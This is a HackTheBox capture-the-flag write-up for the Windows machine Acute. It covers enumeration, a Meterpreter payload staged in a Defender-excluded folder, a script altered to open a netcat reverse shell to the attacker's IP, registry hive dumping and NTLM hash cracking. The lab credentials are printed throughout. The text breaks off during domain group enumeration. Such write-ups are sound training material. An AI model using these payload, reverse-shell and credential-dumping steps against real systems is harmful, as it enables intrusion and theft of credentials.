HTB: Acute
Acute is a really nice Windows machine because there’s nothing super complex about the attack paths. Rather, it’s just about manuverting from user to user using shared creds and privilieges available to make the next step. It’s a pure Windows box. There’s two hosts to pivot between, limited PowerShell configurations, and lots of enumeration.
Box Info
Name | Acute Play on HackTheBox |
---|---|
Release Date | 12 Feb 2022 |
Retire Date | 16 Jul 2022 |
OS | Windows |
Base Points | Hard [40] |
Rated Difficulty | |
Radar Graph | |
01:20:24 |
|
04:29:58 |
|
Creator |
Recon
nmap
nmap
finds a single open TCP port, HTTPS (443):
oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.145
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-06 00:39 UTC
Nmap scan report for 10.10.11.145
Host is up (0.086s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds
oxdf@hacky$ nmap -p 443 -sCV 10.10.11.145
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-06 00:42 UTC
Nmap scan report for 10.10.11.145
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Not valid before: 2022-01-06T06:34:58
|_Not valid after: 2030-01-04T06:34:58
|_ssl-date: 2022-06-06T00:42:38+00:00; -6s from scanner time.
| tls-alpn:
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -6s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds
No hint at OS beyond Windows. There is a certificate with the name atsserver.acute.local
. I’ll add that and acute.local
and acute
to my /etc/hosts
file:
10.10.11.145 atsserver.acute.local acute.local
I’ll try fuzzing for other subdomains of acute.local
with wfuzz
, but not find any.
Website - TCP 443
Site
Visiting https://acute.local
returns a 404:
But visiting https://atsserver.acute.local
returns a site for a healthcare professional development company:
Most of the links on the page either point back to this page, or 404. But the “About Us” link at the top goes to /about.html
:
This page is largely uninteresting as well, with all but one of the links pointing back to the root, or at this page. At the top right, there’s a link to “New Starter Forms” which downloads New_Starter_CheckList_v7.docx
.
There’s also a section that lists the users for the site:
I’ll record these users’ names, and look for some way to figure out how to convert them to usernames.
Tech Stack
The HTTP response headers show ASP.NET
, so I’ll keep an eye out for .aspx
(or maybe .asp
) pages:
HTTP/2 200 OK
Content-Type: text/html
Last-Modified: Tue, 11 Jan 2022 19:55:13 GMT
Accept-Ranges: bytes
Etag: "60c8ed25257d81:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Tue, 07 Jun 2022 01:15:42 GMT
Content-Length: 77254
Directory Brute Force
I’ll run feroxbuster
against the site, and include -x aspx
given the HTTP response headers:
oxdf@hacky$ feroxbuster -u https://atsserver.acute.local/ -x aspx -k -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.1
───────────────────────────┬──────────────────────
🎯 Target Url │ https://atsserver.acute.local/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.1
💲 Extensions │ [aspx]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 2l 10w 167c https://atsserver.acute.local/aspnet_client => https://atsserver.acute.local/aspnet_client/
200 GET 1346l 5905w 93397c https://atsserver.acute.local/
301 GET 2l 10w 178c https://atsserver.acute.local/aspnet_client/system_web => https://atsserver.acute.local/aspnet_client/system_web/
[####################] - 3m 159504/159504 0s found:3 errors:0
[####################] - 2m 53168/53168 316/s https://atsserver.acute.local/
[####################] - 2m 53168/53168 316/s https://atsserver.acute.local/aspnet_client
[####################] - 2m 53168/53168 331/s https://atsserver.acute.local/aspnet_client/system_web
Nothing interesting.
Shell as edavies on Acute-PC01
New_Starter_Checklist_v7.docx
Contents
The document is three pages of instructions for a new joiner to the organization:
There are a bunch of bits of information to capture:
- There’s two links for staff induction pages, but both return 404:
- The “IT overview” section gives a default password, and even mentions that some staff are not changing it:
- The “Initial Probation Meeting (For Academic staff on Probation only)” section has a subtle but important reference. PWSA is likely PowerShell Web Access, and it’s talking about restrictions via a session called
dc_manage
:
- There’s a reference to “remote training” in “Induction meetings with management staff”. The link goes to
https://atsserver.acute.local/Acute_Staff_Access
. I read this as saying the employee needs training on how to use the remote access at the given link (rather than that the training is remote about an unspecified topic):
- At the bottom it mention Lois, who is likely Lois Hopkins from the list of users above:
Metadata
The Word document metadata has some additional clues that will prove useful:
oxdf@hacky$ exiftool New_Starter_CheckList_v7.docx
ExifTool Version Number : 11.88
File Name : New_Starter_CheckList_v7.docx
...[snip]...
Creator : FCastle
Description : Created on Acute-PC01
Last Modified By : Daniel
Revision Number : 8
Last Printed : 2021:01:04 15:54:00Z
Create Date : 2021:12:08 14:21:00Z
Modify Date : 2021:12:22 00:39:00Z
Template : Normal.dotm
Total Edit Time : 2.6 hours
Pages : 3
Words : 886
Characters : 5055
Application : Microsoft Office Word
Doc Security : None
Lines : 42
Paragraphs : 11
Scale Crop : No
Heading Pairs : Title, 1
Titles Of Parts :
Company : University of Marvel
Links Up To Date : No
Characters With Spaces : 5930
Shared Doc : No
Hyperlinks Changed : No
App Version : 16.0000
The creator is FCastle. That doesn’t match up nicely with any name on the site, but it does lend a hint at the username format of first initial plus last name. There’s also a description that says “Created on Acute-PC01”, which gives a hostname.
PowerShell Web Access
Find Creds
The link for remote access is an instance of PowerShell Web Access (PSWA):
From the users on the webpage, I’ll generate the following usernames using the format from the metadata:
awallace
chall
edavies
imonks
jmorgan
lhopkins
I’ve also got the default password, “Password1!”. While I could set up something like hydra
to brute force them all, it’ll be just as fast to just try them.
PWSA also requires a computer name. I’ll start with atsserver.
For all but one, the result looked like this:
However, for edavies, it was different:
That’s an information leak that the username/password worked, but the computer was wrong.
Find Computer
I’ll try again with the same creds, but use the computer name from the metadata, “Acute-PC01”. It works:
Meterpreter
Strategy
Enumerating through this web access console is a bit of a pain. When I go to run WinPEAS in a bit, the output is messed up, and the history too short to see it all. I’m going to use this access to get a reverse shell.
Typically I try to avoid using Meterpreter on HTB machines because (a) I like to understand what’s going on to better learn, and (b) many people reading writeups are practicing for exams where Meterpreter is not allowed / limited.
That said, there’s a step coming that is made possible (or at least significantly easier) with Meterpreter, so I’ll use that here.
Generate Payload
I’ll use msfvenom
to generate a reverse shell using Meterpreter in an executable format:
oxdf@hacky$ msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.14.6 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe
I don’t have to worry about any obfuscation or encoding, as I will find in a minute a Defender-free folder to stage from. I’m using a high port so I don’t have to start msfconsole
as root.
Start Listener
I’ll run msfconsole
to start Metasploit, and then run use exploit/multi/handler
to get the “exploit” that just listens for a reverse connection and starts a session with it.
I’ll set the payload
, lhost
a and lport
to match what I used in msfvenom
, and then run
:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.6:4444
Upload and Execution - Fail
I’ll use a Python webserver to host the executable, and fetch it into C:\ProgramData
with wget
:
PS C:\programdata> wget 10.10.14.6/rev.exe -outfile r.exe
Once it’s there, I’ll run it:
PS C:\programdata> .\r.exe
Program 'r.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software.
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
It fails because of AV.
Defender Bypass
C:\Utils
looks empty, but running with -force
shows a single hidden file:
PS C:\Utils> ls -force
Directory: C:\Utils
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-h-- 12/21/2021 6:41 PM 148 desktop.ini
PS C:\Utils>
cat .\desktop.ini
[.ShellClassInfo]
InfoTip=Directory for Testing Files without Defender
The registry confirms this:
PS C:\Utils>
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
C:\Utils REG_DWORD 0x0
C:\Windows\System32 REG_DWORD 0x0
There are actually two, but I can’t write to C:\Windows\System32
as a non-privileged user.
Upload and Execution
I’ll upload the reverse shell again, this time into C:\Utils
:
PS C:\Utils> wget 10.10.14.6/rev.exe -outfile r.exe
Once it’s there, I’ll run it:
PS C:\Utils> .\r.exe
It hangs there without returning, but at msfconsole
:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.6:4444
[*] Sending stage (200774 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.11.145:49857) at 2022-06-07 17:39:49 +0000
meterpreter >
PowerShell
Meterpreter has a PowerShell module that typically can load the .NET Common Language Runtime (CLR) and interact with the Windows API. It’s invoked with load powershell
. For some reason, it fails here:
meterpreter > load powershell
Loading extension powershell...
[-] Failed to load extension: No response was received to the core_loadlib request.
Instead, to drop to a PowerShell shell, I’ll run shell
(which spawns a cmd.exe
process), and then powershell
from there:
meterpreter > shell
Process 4836 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19044.1466]
(c) Microsoft Corporation. All rights reserved.
C:\Utils>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Utils>
Execution as imonk on ATSSERVER
Enumeration
Container / VM
ipconfig
shows the IP for this host is 172.16.22.2:
PS C:\Utils> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9513:4361:23ec:64fd%14
IPv4 Address. . . . . . . . . . . : 172.16.22.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.22.1
The gateway, and likely host machine, is 172.16.22.1. The only other hostname I’ve seen is ATSSERVER, which ping
shows is that .1 host:
PS C:\Utils> ping atsserver
Pinging ATSSERVER.acute.local [172.16.22.1] with 32 bytes of data:
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128
Ping statistics for 172.16.22.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
File System
The host itself is pretty empty. There are other users on the box:
PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/21/2021 1:01 PM administrator.ACUTE
d----- 12/22/2021 1:26 AM edavies
d----- 12/21/2021 10:50 PM jmorgan
d----- 11/19/2021 9:29 AM Natasha
d-r--- 11/18/2020 11:43 PM Public
But nothing interesting I can access.
WinPEAS
I’ll grab the latest copy of WinPEAS from the release page, upload that to Acute, and run it:
PS C:\Utils> .\wp.exe
...[snip]...
There’s a section that’s easy to miss, but very interesting:
It’s saying there’s an RDP session. This could also be seen without WinPeas by running qwinsta /server:127.0.0.1
:
PS C:\Utils> qwinsta /server:127.0.0.1
SESSIONNAME USERNAME ID STATE TYPE DEVICE
console edavies 1 Active
I believe (please correct me if I’m getting this wrong) that it’s not actually detecting RDP, but rather an interactive logged on session as edavies. Because it’s interactive, I know it’s not my session. WinPeas is using WTSEnumerateSessionsEx
(docs, source), which I believe is what qwinsta
uses as well. This reports on sessions on this host, and there isn’t anyone RDPed into this host. Still, knowing edavies is logged in is a good clue to proceed on.
screenshare
Meterpreter has a screenshare
function that takes screenshots of the active desktop at a regular interval, and allows the attacker to watch like a live stream.
On running it, it pops up an HTML page in Firefox that is showing the desktop:
After a few minutes, a PowerShell terminal opens as edavies. This user creates a PowerShell credential object, and uses it to connect to the atsserver machine as the imonks user:
There are several important bits here:
- The user is acute\imonks with the passwrd “w3_4R3_th3_f0rce.”.
- edavies is trying to authenticate to ATSSERVER.
- edavies is trying to use the
dc_manage
configuration mentioned above.
Execution
Failed PSSesssion
I’ll create a credential object for use on ATSSERVER:
PS C:\Utils> $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
If I try to initiate a PSSession on the remote host, it rejects as Access Denied:
PS C:\Utils> Enter-PSSession -ComputerName ATSSERVER -Credential $cred
Enter-PSSession : Connecting to remote server ATSSERVER failed with the following error message : Access is denied.
For more information, see the about_Remote_Troubleshooting Help topic.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSSERVER -Credential $cred
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (ATSSERVER:String) [Enter-PSSession], PSRemotingTransportException
+ FullyQualifiedErrorId : CreateRemoteRunspaceFailed
I noticed the references to using the dc_manage
configuration. It’s possible that imonks is only allowed to connect with that config. Specifying that gives a different error message:
PS C:\Utils> Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
Enter-PSSession : The term 'Measure-Object' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSSERVER -Credential $cred -Configurat ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Measure-Object:String) [Enter-PSSession], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
It’s failing because imonks doesn’t have access to the Measure-Object
cmdlet. This could be an issue with the dc_manage
configuration, or perhaps an issue with the Kerberos Double Hop (or both).
Invoke-Command
A simpler attempt is to just run a command using Invoke-Command
. This works:
PS C:\Utils> Invoke-Command -ScriptBlock { whoami } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
acute\imonks
This is enough to read user.txt
:
PS C:\Utils> Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
9876b84d3f317ff5c0893e18477e1c13
Shell as jmorgan on Acute-PC01
Enumeration
Limited Shell
To enumerate further, first I need to understand what commands I have access to in this configuration. Get-Command
will tell me that:
PS C:\Utils> Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
CommandType Name Version Source PSComputerName
----------- ---- ------- ------ --------------
Cmdlet Get-Alias 3.1.0.0 Microsoft.PowerSh... ATSSERVER
Cmdlet Get-ChildItem 3.1.0.0 Microsoft.PowerSh... ATSSERVER
Cmdlet Get-Command 3.0.0.0 Microsoft.PowerSh... ATSSERVER
Cmdlet Get-Content 3.1.0.0 Microsoft.PowerSh... ATSSERVER
Cmdlet Get-Location 3.1.0.0 Microsoft.PowerSh... ATSSERVER
Cmdlet Set-Content 3.1.0.0 Microsoft.PowerSh... ATSSERVER
Cmdlet Set-Location 3.1.0.0 Microsoft.PowerSh... ATSSERVER
Cmdlet Write-Output 3.1.0.0 Microsoft.PowerSh... ATSSERVER
I’ll also look at Get-Alias
to see what are set:
PS C:\Utils> Invoke-Command -ScriptBlock { Get-Alias } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
CommandType Name Version Source PSComputerName
----------- ---- ------- ------ --------------
Alias cat -> Get-Content ATSSERVER
Alias cd -> Set-Location ATSSERVER
Alias echo -> Write-Output ATSSERVER
Alias ls -> Get-ChildItem ATSSERVER
Alias pwd -> Get-Location ATSSERVER
Alias sc -> Set-Content ATSSERVER
Alias type -> Get-Content ATSSERVER
Program Files
It’s always worth looking at installed programs in C:\program files
(and C:\program files (x86)
):
PS C:\Utils> Invoke-Command -ScriptBlock { ls '\program files' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Directory: C:\program files
Mode LastWriteTime Length Name PSComputerName
---- ------------- ------ ---- --------------
d----- 21/12/2021 00:04 common files ATSSERVER
d----- 21/12/2021 00:11 Hyper-V ATSSERVER
d----- 15/09/2018 08:12 internet explorer ATSSERVER
d----- 01/02/2022 19:41 keepmeon ATSSERVER
d----- 21/12/2021 00:04 VMware ATSSERVER
d----- 20/12/2021 21:19 Windows Defender ATSSERVER
d----- 20/12/2021 21:12 Windows Defender Advanced Threat ATSSERVER
Protection
d----- 21/12/2021 14:13 WindowsPowerShell ATSSERVER
Hyper-V
is likely the virtualization technology to get nested Windows hosts like this. keepmeon
is not something I’m familiar with.
Unfortunately, imonks is not able to access it:
PS C:\Utils> Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Access to the path 'C:\program files\keepmeon' is denied.
+ CategoryInfo : PermissionDenied: (C:\program files\keepmeon:String) [Get-ChildItem], UnauthorizedAccess
Exception
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
+ PSComputerName : ATSSERVER
Desktop
In addition to user.txt
, there’s another file on imonk’s desktop:
PS C:\Utils> Invoke-Command -ScriptBlock { ls ..\desktop } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Directory: C:\Users\imonks\desktop
Mode LastWriteTime Length Name PSComputerName
---- ------------- ------ ---- --------------
-ar--- 05/06/2022 22:16 34 user.txt ATSSERVER
-a---- 11/01/2022 18:04 602 wm.ps1 ATSSERVER
It has credentials for jmorgan back on Acute-PC01:
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
jmorgan
I’m not able to get to the DC to get information about jmorgan:
PS C:\Utils> net user jmorgan /domain
net user jmorgan /domain
The request will be processed at a domain controller for domain acute.local.
System error 1722 has occurred.
The RPC server is unavailable.
But, it does seem that domain user is in the local administrator group for Acute-PC01:
PS C:\Utils> net localgroup Administrators
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
ACUTE\Domain Admins
ACUTE\jmorgan
Administrator
The command completed successfully.
That explains why they may be able to run Get-Volume
whereas edavies cannot:
PS C:\Utils> Get-Volume
Get-Volume : Cannot connect to CIM server. Access denied
At line:1 char:1
+ Get-Volume
+ ~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (MSFT_Volume:String) [Get-Volume], CimJobException
+ FullyQualifiedErrorId : CimJob_BrokenCimSession,Get-Volume
Execution
Failure #1
My initial thought is to use that $securepasswd
to get a PSCredential
object for jmorgan on Acute-PC01:
PS C:\Utils> $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
PS C:\Utils> $passwd = $securepasswd | ConvertTo-SecureString
ConvertTo-SecureString : Key not valid for use in specified state.
At line:1 char:27
+ $passwd = $securepasswd | ConvertTo-SecureString
+ ~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [ConvertTo-SecureString], CryptographicException
+ FullyQualifiedErrorId : ImportSecureString_InvalidArgument_CryptographicError,Microsoft.PowerShell.Commands.ConvertToSecureStringCommand
That’s because these secure password strings are encrypted with information only available on the computer it was encrypted with as the user it was encrypted with.
Failure #2
Then perhaps I can decrypt the password on ATSSERVER as imonks. The code does work there:
PS C:\Utils> Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
PSComputerName : ATSSERVER
RunspaceId : fc350a1c-6b96-49a3-8901-0a3bf4c0b6c2
ObjectId : {1}\\ACUTE-PC01\root/Microsoft/Windows/Storage/Providers_v2\WSP_Volume.ObjectId="{8ccfebca-48c0-
11ec-9ffe-806e6f6e6963}:VO:\\?\Volume{0eed1261-0000-0000-0000-100000000000}\"
PassThroughClass :
PassThroughIds :
PassThroughNamespace :
PassThroughServer :
UniqueId : \\?\Volume{0eed1261-0000-0000-0000-100000000000}\
AllocationUnitSize : 4096
DedupMode : 4
DriveLetter :
DriveType : 3
FileSystem : NTFS
...[snip]...
I’ll put all the commands I need into the ScriptBlock
, and get the plaintext password. Unfortunately, it doesn’t work:
PS C:\Utils> Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c
0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
The term 'ConvertTo-SecureString' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
+ CategoryInfo : ObjectNotFound: (ConvertTo-SecureString:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
+ PSComputerName : ATSSERVER
The term 'New-Object' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
+ CategoryInfo : ObjectNotFound: (New-Object:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
+ PSComputerName : ATSSERVER
You cannot call a method on a null-valued expression.
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
+ PSComputerName : ATSSERVER
Because ConvertTo-SecureString
isn’t defined in this profile, I can’t run it. It is interesting to note that I was able to run it from within a script.
Modify Script
I’ve got access to Get-Content
(cat
) and Set-Content
(sc
), so I can relatively easily create a new script. I could have it call r.exe
again (since I’m executing on the same box I’m already on), but I don’t want to drop out of my PowerShell session to start a new listener. I’ll upload nc64.exe
to C:\utils
and have the script call that:
PS C:\Utils> Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.6 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Now the script creates a reverse shell to me:
PS C:\Utils> Invoke-Command -ScriptBlock { cat ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {C:\utils\nc64.exe -e cmd 10.10.14.6 443} -ComputerName Acute-PC01 -Credential $creds
I’ll start nc
and run it:
PS C:\Utils> Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
It hangs, but there’s a shell at nc
:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.145 49877
Microsoft Windows [Version 10.0.19044.1466]
(c) Microsoft Corporation. All rights reserved.
C:\Users\jmorgan\Documents>
Alternatively, I could modify it to add edavies to the administrators group, and get equivalent access.
Execution as awallace on ATSSERVER
Get Password
Dump Hives
As a local administrator on Acute-PC01, jmorgan can create backups of the registry hives:
PS C:\Utils> reg save HKLM\sam sam.bak
The operation completed successfully.
PS C:\Utils> reg save HKLM\system sys.bak
The operation completed successfully.
If I want copies, I have to create copies, as I can’t directory open the running hive files.
Since I have a Meterpreter session on the box, I’ll use that to download the files:
meterpreter > download sam.bak
[*] Downloading: sam.bak -> ~/hackthebox/acute-10.10.11.145/sam.bak
[*] Downloaded 56.00 KiB of 56.00 KiB (100.0%): sam.bak -> ~/hackthebox/acute-10.10.11.145/sam.bak
[*] download : sam.bak -> ~/hackthebox/acute-10.10.11.145/sam.bak
meterpreter > download sys.bak
[*] Downloading: sys.bak -> ~/hackthebox/acute-10.10.11.145/sys.bak
[*] Downloaded 1.00 MiB of 11.58 MiB (8.64%): sys.bak -> ~/hackthebox/acute-10.10.11.145/sys.bak
...[snip]...
[*] Downloaded 11.58 MiB of 11.58 MiB (100.0%): sys.bak -> ~/hackthebox/acute-10.10.11.145/sys.bak
[*] download : sys.bak -> ~/hackthebox/acute-10.10.11.145/sys.bak
Get Hashes
I’ll use secretsdump.py
(part of Impacket) to get hashes from these hives in LOCAL
mode:
oxdf@hacky$ secretsdump.py -sam sam.bak -system sys.bak LOCAL
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x44397c32a634e3d8d8f64bff8c614af7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
[*] Cleaning up...
Crack
I’ll save the hashes to a file, and use hashcat
to run rockyou.txt
over them:
$ /opt/hashcat-6.2.5/hashcat.bin acute-pc01.hashes /usr/share/wordlists/rockyou.txt
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
1000 | NTLM | Operating System
...[snip]...
31d6cfe0d16ae931b73c59d7e0c089c0:
a29f7623fd11550def0192de9246f46b:Password@123
...[snip]...
It cracks the empty password for Guest (normal), and “Password@123” for Administrator.
Password Reuse
I’ll first test these creds to see if any of the known users can log into PSWA, but none succeed. I do find that I’m able to run commands on ATSSERVER as awallace:
PS C:\Utils> $pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }
acute\awallace
Shell as Site Admin
Enumeration
With different credentials, I’ll try C:\program files\keepmeon
again, and awallace can access it:
PS C:\Utils> Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Directory: C:\program files\keepmeon
Mode LastWriteTime Length Name PSComputerName
---- ------------- ------ ---- --------------
-a---- 21/12/2021 14:57 128 keepmeon.bat ATSSERVER
It’s a single .bat
file, which awallace can read:
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
PS C:\
It’s simply looping over any .bat
files in this directory, and if they aren’t this one, running them. The comment says it runs every five minutes, and it’s for Lois.
Site Admin
Enumeration
In the Word doc, there was a comment about how Lois could add people to become “site admin”. Looking at the groups for this domain, there’s one called Site_Admin
:
PS C:\Utils> Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Group Accounts for \\
-------------------------------------------------------------------------------
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
